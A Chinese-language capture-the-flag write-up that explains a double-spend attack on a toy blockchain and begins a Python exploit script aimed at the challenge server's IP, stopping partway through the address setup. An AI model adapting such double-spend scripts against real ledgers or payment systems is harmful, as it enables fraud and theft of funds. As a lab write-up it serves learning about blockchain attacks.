这题是区块链题,对区块链不是很了解,想了解原理的建议看这一篇
https://blog.youkuaiyun.com/hxhxhxhxx/article/details/108111692
简单介绍一下双花攻击的原理吧,就是区块链是去中心化账本,而且默认长度最长的是主链
如果用户自持有的账本长度大于中心化中心的账本,那么所有的节点都会以当前用户的账本覆盖当前持有的账本,这边是0确认,
就是整个链里就你一个人,所以没有人跟你竞争,所以一定会成功。具体的也不清楚,直接看大佬的脚本吧
具体要改的就是url的三个参数和三个addr
简单演示一下
# -*- encoding: utf-8 -*-
# written in python 2.7
import hashlib, json, rsa, uuid, os,requests,re
# 一堆变量常量
url_root="http://111.200.241.244:52910/"
url_create="http://111.200.241.244:52910/create_transaction"
url_flag="http://111.200.241.244:52910/flag"
s=requests.Session()
ddcoin = s.get(url=url_root)
prev_one=re.search(r"hash of genesis block: ([0-9a-f]{64})",ddcoin.content, flags=0).group(1)
bank_utox_id=re.search(r"\"input\": \[\"([0-9a-f\-]{36})",ddcoin.content, flags=0).group(1)
bank_signature=re.search(r"\"signature\": \[\"([0-9a-f]{96})",ddcoin.content, flags=0).group(1)
DIFFICULTY = int('00000' + 'f' * 59, 16)
EMPTY_HASH = '0'*64
bank_addr="83c1ec7b05a19528bc5520ede1b11c0faf92bc11187497c98a034473aa35c58263026587e4e8bde66bc95437fd73c06b"
hacke_addr="8b70905e184624c3078ba496a9b35ba5a1c5c79f296dfe45c13ff4b9df98b41c064bd810ffc0a230aae8f3d0514053a5"
shop_addr="90a6e1e67